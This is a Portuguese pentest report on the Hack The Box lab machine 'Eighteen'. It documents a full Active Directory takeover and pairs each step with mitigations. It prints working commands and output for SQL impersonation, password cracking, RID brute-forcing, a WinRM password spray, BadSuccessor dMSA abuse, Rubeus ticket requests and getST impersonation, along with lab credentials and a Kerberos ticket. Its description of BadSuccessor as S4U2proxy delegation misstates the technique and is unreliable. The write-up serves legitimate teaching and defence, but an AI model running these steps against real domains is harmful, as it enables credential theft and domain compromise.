Cliente: Hack The Box (Máquina Eighteen)
Data do teste: Janeiro 2026
Autor: Diego Xavier Lima
Versão do relatório: 1.0
Classificação: Confidencial

Informações Gerais

- Escopo do teste: Máquina Eighteen (Active Directory lab)
- Data de início/fim: [24] a [26]
- Metodologia: Gray-box → Credentialed → Privilege Escalation
- Ferramentas utilizadas: Nmap, CrackMapExec, BloodHound, Rubeus, SharpSuccessor, Impacket, metasploit, Evil-WinRM etc. - Contas utilizadas: kevin, -> appdev -> adam.scott -> escalada via BadSuccessor

Tabela de conteúdos

- Sumário Executivo
- Informações Gerais
- Escopo da Auditoria
- Metodologia
- Classificação de Vulnerabilidades
- Descobertas

    - Finding-001 - SQL Server Impersonation Vulnerability via EXECUTE AS
    - Finding-002 - Weak Password Requirements
    - Finding-003 - Improper Restriction of Excessive Authentication Attempts
    - Finding-004 - NET-WINRM-COMPROMISE-01 -
    - Finding-005 - BadSuccessor -
      Mitigações Recomendadas
- Conclusão
- Apêndices

Sumário do Executivo:

O teste de invasão na máquina Eighteen revelou uma cadeia de ataque crítica que permitiu a escalação completa de privilégios até Administrator a partir de uma conta de usuário comum, fornecida pelo laboratório até admin (kevin → appdev → adam.scott → Administrator).

As vulnerabilidades críticas incluíram exploração de impersonation em SQL Server, senha fraca, enumeração de contas via SID, acesso via WinRM e, principalmente, o abuso de **BadSuccessor** (dMSA delegation) para impersonar o Administrator via Kerberos.

Impacto potencial: Comprometimento total do domínio Active Directory, incluindo roubo de credenciais, persistência e movimentação lateral.

O escopo do projeto seria uma análise profunda em todos os serviços e portas do Servidor, no final 6 vulnerabilidades foram encontradas, suas classificações variam entre crítica, alta e média

Classificação	Quantia
Baixo	0
Médio	2
Alto	3
Crítico	1

Uma análise realizada comprova que um atacante real conseguiria explorar o domínio completo em questão de 1 hora a 1 hora e meia

Metodologia:

Frameworks: MITRE ATT&CK, OWASP Testing guide
Abordagem: Gray-Box (kevin:iNa2we6haRj2gaw!)
O teste seguiu uma abordagem gray-box com credenciais iniciais fornecidas (kevin), evoluindo para credentialed e privilege escalation:

1. Reconhecimento (Nmap, mssqlclient).
2. Exploração inicial (SQL impersonation, senha fraca, brute-forcing).
3. Movimentação lateral (WinRM).
4. Escalação final (BadSuccessor via dMSA, Rubeus, Impacket-getST).

Classificação de vulnerabilidades:

- **Crítica/Grave:** Exploração leva a controle total do sistema/domínio.
- **Alta:** Escalação de privilégios ou acesso a dados sensíveis.
- **Média:** Acesso limitado ou enumeração avançada.
- **Baixa/Informacional:** Configurações ruins sem impacto direto.

Erros Encontrados:

Erro	Severidade	ID	CVSS
SQL Server Impersonation Vulnerability via EXECUTE AS	Alta	1	7.5
Weak Password Requirements	Média	2	5.3
Improper Restriction of Excessive Authentication Attempts	Alta	3	7.6
Use of Insufficiently Random Values	Média	4	5.3
NET-WINRM-COMPROMISE-01	Alta	5	8.8
BadSuccessor	Crítica	6	9.8

ID: 1; VULN-SQLi-IMPERSONATE
Nome: SQLi-IMP-01: SQL Server Impersonation Vulnerability via EXECUTE AS
Severidade: Alta
CVSS: 7.5
Categoria: Broken Access Control (OWASP A01)
Descrição: A vulnerabilidade permite que o usuário autenticado execute logins como usuários com acessos mais elevados que o mesmo, sem a exigência de uma senha, no caso encontrado o usuário Kevin, conseguiu elevar seus privilégios para a conta AppDev. Foi observado que outras contas do mesmo sistema com mais privilégios não eram afetadas pelo erro, como as tentativas com a conta 'sa'

Comando: EXECUTE AS LOGIN = 'AppDev', o comando foi utilizado dentro da conta 'Kevin' fornecida pelo laboratório para realizar os testes

Mecanismo: O comando (EXECUTE AS LOGIN) Permite que o usuário realize um IMPERSONATE (se passar por outro usuário). Nesse casso o Banco de dados permite que

certos usuário façam logins em nomes de outros, quando a configuração IMPERSONATE é mal administrada. Isso permite usuários com baixos privilégios acessarem conteúdos sensíveis.

Mitigação: Desativar configurações que permitam login em outras contas para usuários que não devem ter acesso a privilégios administrativos.
*Prioridade: **Alta (7 dias)**
Ação: **REVOGAR permissões IMPERSONATE**
Comando: `REVOKE IMPERSONATE ON LOGIN::[AppDev] TO [Kevin];`
Responsável:** DBA Team

Impacto:

- Usuários comuns podem acessar dados sensíveis
- Dificuldade de auditoria (usuários se passando por outros)
- Escalada de privilégios

Evidência

```
SQL (kevin  guest@master)> select sp.name as login, sp.type_desc as login_type, sl.password_hash, sp.create_date, sp.modify_date, case when sp.is_disabled =
 1 then 'Disabled' else 'Enabled' end as status from sys.server_principals sp left join sys.sql_logins sl on sp.principal_id = sl.principal_id where sp.type
 not in ('G', 'R') order by sp.name;
login    login_type   password_hash   create_date   modify_date   status
------   ----------   -------------   -----------   -----------   --------
appdev   SQL_LOGIN            NULL   2025-09-12 01:38:53   2025-09-12 01:38:53   b'Enabled'
kevin    SQL_LOGIN            NULL   2025-09-12 01:38:48   2025-09-12 01:38:48   b'Enabled'
sa       SQL_LOGIN            NULL   2003-04-08 09:10:35   2025-09-12 01:32:38   b'Enabled'
SQL (kevin  guest@master)> |
```

Figura 1: Nessa screenshot é possível verificar a descoberta de contas acessíveis no sistema

```
SQL (kevin  guest@tempdb)> EXECUTE AS LOGIN = 'appdev'
SQL (appdev  guest@tempdb)> enum_db
name                 is_trustworthy_on
-----------------    -----------------
master                               0
tempdb                               0
model                                0
msdb                                 1
financial_planner                    0
SQL (appdev  guest@tempdb)> use financial_planner
ENVCHANGE(DATABASE): Old Value: tempdb, New Value: financial_planner
INFO(DC01): Line 1: Changed database context to 'financial_planner'.
SQL (appdev  appdev@financial_planner)> |
```

Figura 1.1: Nesse print vemos que com o comando (EXECUTE AS LOGIN = 'appdev'), se tornou possível usar a conta desse usuário sem precisar de senha, o que comprova o erro, essa conta tem mais privilégios que a conta fornecida pelo laboratório, o que comprova a escalação de privilégios

ID: 2;WEAK-PASSWORD
Nome: CWE521:Weak Password Requirements
CVSS: 5.3

Severidade: Média
Categoria: Identification and Authentication Failures (OWASP A07)

Descrição: Esse erro engloba um usuário que ao entrar adiciona uma senha muita fraca, no casso do sistema a senha era (iloveyou1), por mas que estivesse sendo usado um ótimo hash de criptografia(PBKDF2-SHA256) com salt aleatório, alto número de iterações (600000), uma senha fácil de se quebrar tornou extremamente rápido o ataque de crackear hash

Comando: Por ser um tipo de hash pouco aceito em ferramentas tradicionais de pentest como hashcat, john the ripper e etc... Foi utilizado um código python independente para se descriptografar a senha

Mitigação: Adicionar uma política de verificação de senha, para permitir que apenas senha 'fortes' possam ser usadas pelos usuários. Especificações como exigência de maiúsculas e minúsculas, números, símbolos e etc...

Impacto:

- Torna ataques de logins como Brute-Forcing, Dicionary Spray entre outros extremamente mais fáceis
- Permite que usuários maliciosos acessem dados sensíveis da aplicação

Evidência:

```
SQL (appdev  appdev@financial_planner)> SELECT * FROM financial_planner.INFORMATION_SCHEMA.TABLES
TABLE_CATALOG       TABLE_SCHEMA   TABLE_NAME    TABLE_TYPE
-----------------   ------------   -----------   ----------
financial_planner   dbo            users         b'BASE TABLE'
financial_planner   dbo            incomes       b'BASE TABLE'
financial_planner   dbo            expenses      b'BASE TABLE'
financial_planner   dbo            allocations   b'BASE TABLE'
financial_planner   dbo            analytics     b'BASE TABLE'
financial_planner   dbo            visits        b'BASE TABLE'
SQL (appdev  appdev@financial_planner)> SELECT * FROM users
  id   full_name   username   email                 password_hash
is_admin   created_at
----   ---------   --------   -----------------   ------------------------------------------------------------------------------------------------------------
--------   ----------
1002   admin       admin      admin@eighteen.htb   pbkdf2:sha256:600000$AMtzteQIG7yAbZIa$0673ad90a0b4afb19d662336f0fce3a9edd0b7b19193717be28ce4d66c887133
       1   2025-10-29 05:39:03
SQL (appdev  appdev@financial_planner)>
```

figura 1.3: Com a conta acessada se tornou possível achar a senha criptografada em forma de hash dentro da tabela 'financial_planner' que não podia ser acessada pelo usuário inicial fornecido 'kevin'

```
┌──(kaliuser㉿Dell-Diego)-[~/18]
└─$ python3 brute.py
[*] Target Hash: 0673ad90a0b4afb19d662336f0fce3a9edd0b7b19193717be28ce4d66c887133
[*] Salt: AMtzteQIG7yAbZIa
[*] Iterações: 600000
[*] Iniciando ataque...


[+] SENHA ENCONTRADA: 'iloveyou1'
[+] Hash correspondente: 0673ad90a0b4afb19d662336f0fce3a9edd0b7b19193717be28ce4d66c887133

┌──(kaliuser㉿Dell-Diego)-[~/18]
└─$
```

figura 1.4: Com o hash descoberto foi possível crackear a senha com facilidade, após descobrir o

tipo de criptografia e seu número de iterações

ID: 3, 4, AUTH-BREAK-SID + Use of Insufficiently Random Values
Nome: CWE307:Improper Restriction of Excessive Authentication Attempts +

- 330 - Use of Insufficiently Random Values
  Severidade: Alta, média
  CVSS: 7.6, 5.3
  Categoria: Unrestricted Resource Consumption (OWASP API4)
  Descrição: Essa espécie de erro permite que sejam realizadas ilimitadas tentativas de login, o que permite a adversários tentar acertar senhas, usuários e etc... sem preocupação de chances máximas, o que permitiu que fosse possível identificar o SID da aplicação SQL e assim achar todos os usuários que estavam no sistema, futuramente esse recurso será explorado novamente no protocolo winrm

Comando: Foi utilizado o módulo do msfconsole auxiliary/admin/mssql/mssql_enum_domain_accounts, foram colocadas as configurações de senha e usuário do login fornecido pelo laboratório e como resultado, diversas contas foram encontradas

Mitigação: Utilizar um sistema que verifica as tentativas de login de cada usuário, desse modo ataques de RID e enumeração se tornam muito mais difíceis e em certos casos impossíveis.

Evidência:

```
[+] 10.129.10.49:1433 - Found the domain sid: 0105000000000005150000000dfdeac44d4131d236f599b76
[*] 10.129.10.49:1433 - Brute forcing 10000 RIDs through the SQL Server, be patient...
[*] 10.129.10.49:1433 -  - EIGHTEEN\Administrator
[*] 10.129.10.49:1433 -  - EIGHTEEN\Guest
[*] 10.129.10.49:1433 -  - EIGHTEEN\krbtgt
[*] 10.129.10.49:1433 -  - EIGHTEEN\Domain Admins
[*] 10.129.10.49:1433 -  - EIGHTEEN\Domain Users
[*] 10.129.10.49:1433 -  - EIGHTEEN\Domain Guests
[*] 10.129.10.49:1433 -  - EIGHTEEN\Domain Computers
[*] 10.129.10.49:1433 -  - EIGHTEEN\Domain Controllers
[*] 10.129.10.49:1433 -  - EIGHTEEN\Cert Publishers
[*] 10.129.10.49:1433 -  - EIGHTEEN\Schema Admins
[*] 10.129.10.49:1433 -  - EIGHTEEN\Enterprise Admins
[*] 10.129.10.49:1433 -  - EIGHTEEN\Group Policy Creator Owners
[*] 10.129.10.49:1433 -  - EIGHTEEN\Read-only Domain Controllers
[*] 10.129.10.49:1433 -  - EIGHTEEN\Cloneable Domain Controllers
[*] 10.129.10.49:1433 -  - EIGHTEEN\Protected Users
[*] 10.129.10.49:1433 -  - EIGHTEEN\Key Admins
[*] 10.129.10.49:1433 -  - EIGHTEEN\Enterprise Key Admins
[*] 10.129.10.49:1433 -  - EIGHTEEN\Forest Trust Accounts
[*] 10.129.10.49:1433 -  - EIGHTEEN\External Trust Accounts
[*] 10.129.10.49:1433 -  - EIGHTEEN\RAS and IAS Servers
[*] 10.129.10.49:1433 -  - EIGHTEEN\Allowed RODC Password Replication Group
[*] 10.129.10.49:1433 -  - EIGHTEEN\Denied RODC Password Replication Group
[*] 10.129.10.49:1433 -  - EIGHTEEN\DC01$
[*] 10.129.10.49:1433 -  - EIGHTEEN\DnsAdmins
[*] 10.129.10.49:1433 -  - EIGHTEEN\DnsUpdateProxy
[*] 10.129.10.49:1433 -  - EIGHTEEN\mssqlsvc
[*] 10.129.10.49:1433 -  - EIGHTEEN\SQLServer2005SQLBrowserUser$DC01
[*] 10.129.10.49:1433 -  - EIGHTEEN\HR
[*] 10.129.10.49:1433 -  - EIGHTEEN\IT
[*] 10.129.10.49:1433 -  - EIGHTEEN\Finance
[*] 10.129.10.49:1433 -  - EIGHTEEN\jamie.dunn
[*] 10.129.10.49:1433 -  - EIGHTEEN\jane.smith
[*] 10.129.10.49:1433 -  - EIGHTEEN\alice.jones
[*] 10.129.10.49:1433 -  - EIGHTEEN\adam.scott
[*] 10.129.10.49:1433 -  - EIGHTEEN\bob.brown
[*] 10.129.10.49:1433 -  - EIGHTEEN\carol.white
[*] 10.129.10.49:1433 -  - EIGHTEEN\dave.green
```

Figura 1.5: Essa tela mostra o comando executado na prática, após ser descoberto o sid de domínio da aplicação ele consegue encontrar diversos grupos, usuários e etc...

ID: 5; NET-WINRM-COMPROMISE-01
Classificação: CWE: 287 - Improper Authentication
+ 288 - Authentication Bypass Using an Alternate Path/Channel
+ 522 - Insufficiently Protected Credentials
MITRE ATT&CK:
T1021.006 - Windows Remote Management (WinRM)
T1552.001 - Credentials in Files
T1078 - Valid Accounts
Severidade: Alta
CVSS: 8.8
Descrição: Após obter o hash no Banco de dados e ser possível a realização de Brute-SID, se tornou possível acessar o protocolo Win-RM que garante contato direto com a máquina que hospeda o servidor, desse modo se tornou possível execução de comandos diretamente na máquina

Mitigação: Bloquear a porta 5985 para usuários externos, adicionar regras de horários de autenticação(como habilitar somente em horário comercial), limitar a quantia de tentativas de login, implementar JEA.

Comandos: Foram utilizadas duas ferramentas para a exploração da vulnerabilidade, primeiramente a ferramenta crackmapexec, que permitiu a descoberta de qual era o usuário correto, fazendo diversas tentativas de login, sendo; Login encontrado no Brute=SID X hash crackeado encontrado no banco de dados, depois de algumas tentativas foi encontrado o usuário (adam.scott), após isso foi usada a ferramenta evil-winrm para realizar o login com as credenciais achadas

Evidência:

```
┌──(kaliuser㉿Dell-Diego)-[~/18]
└─$ crackmapexec winrm 10.129.10.49 -u users.txt -p 'iloveyou1'
SMB         10.129.10.49    5985   NONE             [*] None (name:10.129.10.49) (domain:None)
HTTP        10.129.10.49    5985   NONE             [*] http://10.129.10.49:5985/wsman
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.al
gorithms.ARC4 and will be removed from cryptography.hazmat.primitives.ciphers.algorithms in 48.0.0.
  arc4 = algorithms.ARC4(self._key)
WINRM       10.129.10.49    5985   NONE             [-] None\jamie.dunn:iloveyou1
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.al
gorithms.ARC4 and will be removed from cryptography.hazmat.primitives.ciphers.algorithms in 48.0.0.
  arc4 = algorithms.ARC4(self._key)
WINRM       10.129.10.49    5985   NONE             [-] None\jane.smith:iloveyou1
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.al
gorithms.ARC4 and will be removed from cryptography.hazmat.primitives.ciphers.algorithms in 48.0.0.
  arc4 = algorithms.ARC4(self._key)
WINRM       10.129.10.49    5985   NONE             [-] None\alice.jones:iloveyou1
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.al
gorithms.ARC4 and will be removed from cryptography.hazmat.primitives.ciphers.algorithms in 48.0.0.
  arc4 = algorithms.ARC4(self._key)
WINRM       10.129.10.49    5985   NONE             [+] None\adam.scott:iloveyou1 (Pwn3d!)
WINRM       10.129.10.49    5985   NONE             [-] None\adam.scott:iloveyou1 "'NoneType' object has no attribute 'upper'"
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.al
gorithms.ARC4 and will be removed from cryptography.hazmat.primitives.ciphers.algorithms in 48.0.0.
  arc4 = algorithms.ARC4(self._key)
WINRM       10.129.10.49    5985   NONE             [-] None\bob.brown:iloveyou1
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.al
gorithms.ARC4 and will be removed from cryptography.hazmat.primitives.ciphers.algorithms in 48.0.0.
  arc4 = algorithms.ARC4(self._key)
WINRM       10.129.10.49    5985   NONE             [-] None\carol.white:iloveyou1
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.al
gorithms.ARC4 and will be removed from cryptography.hazmat.primitives.ciphers.algorithms in 48.0.0.
  arc4 = algorithms.ARC4(self._key)
WINRM       10.129.10.49    5985   NONE             [-] None\dave.green:iloveyou1

┌──(kaliuser㉿Dell-Diego)-[~/18]
└─$ |
```

Figura 1.6: Aqui podemos ver a execução da ferramenta crackmapexec, comprovando o possível login com as credenciais encontradas

```
┌──(kaliuser㉿Dell-Diego)-[~/18]
└─$ evil-winrm -i 10.129.10.49 -u adam.scott -p iloveyou1

Evil-WinRM shell v3.9

Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\adam.scott\Documents> whoami
eighteen\adam.scott
*Evil-WinRM* PS C:\Users\adam.scott\Documents> |
```

Figura 1.7: Nessa figura tentamos realizar o login com as credenciais encontradas e temos contato direto com o winrm podendo executar comandos diretamente na máquina

Impactos:

- Capacidade de movimentação lateral via Winrm
- Execução direta no sistema operacional, podendo se colocar diversos vírus que podem espionar os funcionários ou até mesmo roubo de informações sensíveis
- Comprometimento de servidores

ID: 6; BadSuccessor
Severidade: Crítica
CVSS: 9.8

Categoria: CWE: 287 - Improper Authentication
+ 290 - Authentication Bypass by Spoofing
CVE Relacionados:
CVE-2025-53779

Descrição: Vulnerabilidade no protocolo Kerberos do Windows que permite a um atacante explorar cadeias de delegação de serviço (S4U2proxy) para obter tickets de serviço para serviços não autorizados (BadSuccessor). Isso ocorre devido a verificações inadequadas na validação de cadeias de delegação no controlador de domínio.

Mitigação: Adicionar SIEM com regras específicas de monitoramento como (EVENT ID 4769) e também monitorar as contas com permissão de delegação, bloqueando as contas que tentarem fazer isso sem as devidas permissões

Comando: Para verificação foi preciso uma série de comandos, desde de comandos do shell para a descoberta da versão, até os comandos mais avançados como Sharpsuccessor, BadSuccessor, Rubeus, Impacket-getST

Evidência:

```
*Evil-WinRM* PS C:\Users\adam.scott\Documents> [System.Environment]::OSVersion.Version

Major  Minor  Build  Revision
-----  -----  -----  --------
10     0      26100  0


*Evil-WinRM* PS C:\Users\adam.scott\Documents>
```

Figura 1.8: Aqui foi possível descobrir a versão do windows que estava rodando, confirmando a possibilidade do BadSuccessor, por ser uma versão não totalmente atualizada

```
*Evil-WinRM* PS C:\Users\adam.scott\Documents> Invoke-BadSuccessor
[+] Created computer 'Pwn' in 'OU=Staff,DC=eighteen,DC=htb'.
[+] Machine Account's sAMAccountName : Pwn$
[+] Machine Account's SID            : S-1-5-21-1152179935-589108180-1989892463-12601

[+] Created delegated service account 'attacker_dMSA' in 'OU=Staff,DC=eighteen,DC=htb'.
[+] Service Account's sAMAccountName : attacker_dMSA$
[+] Service Account's SID            : S-1-5-21-1152179935-589108180-1989892463-12602
[+] Allowed to retrieve password     : Pwn$

[+] Added ACE on 'CN=attacker_dMSA,OU=Staff,DC=eighteen,DC=htb' for 'adam.scott' (S-1-5-21-1152179935-589108180-1989892463-1609) with rights 'All' (Allow, T
hisObjectOnly).
[+] Granted 'GenericAll' on 'attacker_dMSA$' to 'adam.scott'.
[+] Configured delegated MSA state for 'attacker_dMSA$' with predecessor:
    CN=Administrator,CN=Users,DC=eighteen,DC=htb

[+] Next steps (Rubeus):
    Rubeus.exe hash /password:'Password123!' /user:Pwn$ /domain:eighteen.htb
    Rubeus.exe asktgt /user:Pwn$ /aes256:<AES256KEY> /domain:eighteen.htb
    Rubeus.exe asktgs /targetuser:attacker_dMSA$ /service:krbtgt/eighteen.htb /dmsa /opsec /ptt /nowrap /outfile:ticket.kirbi /ticket:<BASE64TGT>

[+] Alternative (Impacket):
    getST.py 'eighteen.htb/Pwn$:Password123!' -k -no-pass -dmsa -self -impersonate 'attacker_dMSA$'
*Evil-WinRM* PS C:\Users\adam.scott\Documents>
```

Figura 1.9: Após o Download do BadSuccessor, conseguimos criar o usuário Pwn, no caminho vulnerável encontrado

```
*Evil-WinRM* PS C:\Users\adam.scott\Documents> .\Rubeus.exe hash /password:"Password123!" /user:Pwn$ /domain:eighteen.htb

  _____       _
 (_____ \     | |
  _____) )_   _| |__  _____ _   _  ___
 |  __  /| | | |  _ \| ___ | | | |/___)
 | |  \ \| |_| | |_) ) ____| |_| |___ |
 |_|   |_|____/|____/|_____)____/(___/

 v1.6.4


[*] Action: Calculate Password Hash(es)

[*] Input password             : Password123!
[*] Input username             : Pwn$
[*] Input domain               : eighteen.htb
[*] Salt                       : EIGHTEEN.HTBhostpwn.eighteen.htb
[*]       rc4_hmac             : 2B576ACBE6BCFDA7294D6BD18041B8FE
[*]       aes128_cts_hmac_sha1 : A4369F3F47382720482549ACA7B36353
[*]       aes256_cts_hmac_sha1 : 07CE45274C9D70F6C47ACD9D72838A4D292903CBC8947E2C32B7F9E0ECF17D0B
[*]       des_cbc_md5          : D5150802CB46C419

*Evil-WinRM* PS C:\Users\adam.scott\Documents>
```

Figura 2: Com a criação do usuário passamos para a criação de hashes aes256 que permitiram que futuramente seja solicitado um TGT, esses hashes permitem que nossa conta possa pedir tickets kerberos de acesso a outras contas

```
[*] Action: Ask TGT

[*] Using aes256_cts_hmac_sha1 hash: 07CE45274C9D70F6C47ACD9D72838A4D292903CBC8947E2C32B7F9E0ECF17D0B
[*] Building AS-REQ (w/ preauth) for: 'eighteen.htb\Pwn$'
[+] TGT request successful!
[*] base64(ticket.kirbi):

      doIFYjCCBV6gAwIBBaEDAgEWooIEazCCBGdhggRjMIIEX6ADAgEFoQ4bDEVJR0hURUVOLkhUQqIhMB+g
      AwIBAqEYMBYbBmtyYnRndBsMZWlnaHRlZW4uaHRio4IEIzCCBB+gAwIBEqEDAgECooIEEQSCBA0ITnGz
      AnE8Yy6u6xjx5BIf+XJ2fOcboGUZrdxn+2cTaG+W0+IxQfC+/5Z4MMYKNKYTeu+YconTXbCKh4ni1nce
      IErKLCzW4rEvQ2+/RGiDvIIyekNFbggYmj9oLbPLbEBoOPxZa81+k27KD4Q1ycYwLZJEDT0iZGwU++pP
      hlNQsRKoQ1jj7fSIuuLBebwXOVUK5kwru/tHuI/oWxQncxCNNPNpctrpdM8EkfY1MT65a19asbBY9mnD
      v2zE1updnBFy5kx4FojFOFEhI+2Yu/FkywlM465V2aWNaEv0RCI4+FlI0VUT50hlqQFvgaxzml/TOoGM
      s39Z8irexYQ/IJuOdNLaePBSbaSOYiJX6wvtrOaE4G1Fi37aGBnz+B6UCCJClyDRdq126pGTFS7GbYGy
      lr0TaZgMDV0fnC6l733WDnHZDQZAQ14aNMSYKwzBIstPM/nzr6S2gZ34VcqloYkXgXNnhbeyo1xPh4bQ
      kz6xORNyZPUInV3A+C95UpcZfrSeWSbbY1ve46DT+QeUsgqeReSOkWfgnmGFWMUg1GgAJjwnytCwh7/l
      UlxocQ8I2oytS6LU5cMBFUmS3g9lXsjlXrdO4bkOVd2IXD6RY7nVAsh2yPhsoeZUI4OX6rMG+FSILl0X
      CaebHzlFGMbLRxNosSBbuZIV1Mam/bB4Yc5Pc2Xrn1Fs6F8u3IDpVE2eG1al6lrGLZ3buZINuaHPKxmm
      50eI3cVyejqtKIpBpqKhIhtc62d7FzestTdojYOVoxf8lf/mX4Q/dI6RyUvKUgG5NfS0uL3WSwJIknXv
      zEtoEl4ymtLDQlPXxzZPD4Q8RzgDFy0t6WaJMz58vicwtL+c0emi9MQxMwgCUWfHwxf0nLhCLRkc/dO/
      /jL0w7ZmKL7TYQD/YaYQOVtXvYKiT+qYcY3brn+3GL96P3eb33sh6NyBSSKoNVxICuo9F82iE0Fr2INA
      2wrFzza77gWkQpg4B2WYMa/+EvTDcc639/ZzGBBjEPP1grfR+OHkkEmK3/LtjH4H61vU66hNhoDPf2Gy
      P6wEUjljanvyV/Rlkr96tevGEoVhPJ4ms0QDtYXeFsvAvksADIJSWisJHFKWUi6nLqDJIdg04kDlf99c
      MbMZggKUZNJEm9f1zCZWJ20ugISQYnp7s644d7PS+5Qc3xTJoU9bmwTiFFllt31WEodgXW2WTJNAOC8J
      YTcEZ1P4jPD68Rkq6BFp7Ud+POAPSIvvTocjmR00iOZKAbfoBzYbO5ui4f4x/leFuSR5W5/Uw87gcZcW
      ebyzwQCZisI6l3FuofYqF8SDePJcymoc7onIG/myABH65/IGLniuztAQjIUwrv49yLBhxU+mtRhHYVtn
      AxVVKWjGCg94k/AB6aOB4jCB36ADAgEAooHXBIHUfYHRMIHOoIHLMIHIMIHFoCswKaADAgESoSIEIFwK
      KJOn16Fc/iLs7GlL+Rk2/AtZPwt5+ie7B2xmffFuoQ4bDEVJR0hURUVOLkhUQqIRMA+gAwIBAaEIMAYb
      BFB3biSjBwMFAEDhAAClERgPMjAyNjAxMjYxODI5MjFaphEYDzIwMjYwMTI3MDQyOTIxWqcRGA8yMDI2
      MDIwMjE4MjkyMVqoDhsMRUlHSFRFRU4uSFRCqSEwH6ADAgECoRgwFhsGa3JidGd0GwxlaWdodGVlbi5o
      dGI=

  ServiceName           :  krbtgt/eighteen.htb
  ServiceRealm          :  EIGHTEEN.HTB
  UserName              :  Pwn$
  UserRealm             :  EIGHTEEN.HTB
  StartTime             :  1/26/2026 10:29:21 AM
  EndTime               :  1/26/2026 8:29:21 PM
  RenewTill             :  2/2/2026 10:29:21 AM
  Flags                 :  name_canonicalize, pre_authent, initial, renewable, forwardable
  KeyType               :  aes256_cts_hmac_sha1
  Base64(key)           :  XAook6fXoVz+IuzsaUv5GTb8C1k/C3n6J7sHbGZ98W4=

*Evil-WinRM* PS C:\Users\adam.scott\Documents>
```

Figura 2.1: Aqui realizamos uma das partes finais solicitando o ticket Kerberos TGT, esse ticket permite que o usuário faça autenticação nos servidores AD, depois desse processo são executados algumas partes menores que serão ocultadas por segurança, como sincronizar os horários da máquina com o servidor Kerberos, e o pedido do ticket ST, porém após esse

processo ser realizado, temos a conclusão final como último erro a entrada no servidor como administrador

```
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
eighteen\administrator
```

Figura 2.2: Usuário oficialmente logado como administrador dentro do Evil-WinRM

Conclusão:

O teste demonstrou que a infraestrutura está vulnerável a **domain takeover completo** através de uma cadeia de 6 vulnerabilidades inter-relacionadas. Um atacante poderia comprometer o Active Directory em **menos de 2 horas**, resultando em perda total de confidencialidade, integridade e disponidade dos sistemas. Recomendamos tratamento **emergencial** das vulnerabilidades BadSuccessor e WinRM, seguido por um programa de hardening contínuo.

Estatísticas do Teste:

- **Total de vulnerabilidades:** 6 (1 Crítica, 3 Altas, 2 Médias)
- **Tempo até domain compromise:** Estimado em 1h30min
- **Cobertura do escopo:** 100% dos serviços testados
- **Taxa de sucesso de exploração:** 83% (5/6 vulnerabilidades exploradas com sucesso)

A cadeia de ataque do Teste foi baseado na metodologia Mitre ATT&CK, se consistindo ao final em:

1. **Acesso inicial** via credenciais padrão (Kevin)
2. **Escalada no SQL Server** através de impersonation (AppDev)
3. **Vazamento de credenciais** via tabela não protegida
4. **Movimentação lateral** através de WinRM mal configurado
5. **Domain takeover** via BadSuccessor (CVE-2025-53779)

Vulnerabilidade	Impacto no negócio
SQL Impersonation	Vazamento financeiro
WinRM	Execução de comandos
BadSuccessor	Espionagem, Ransomware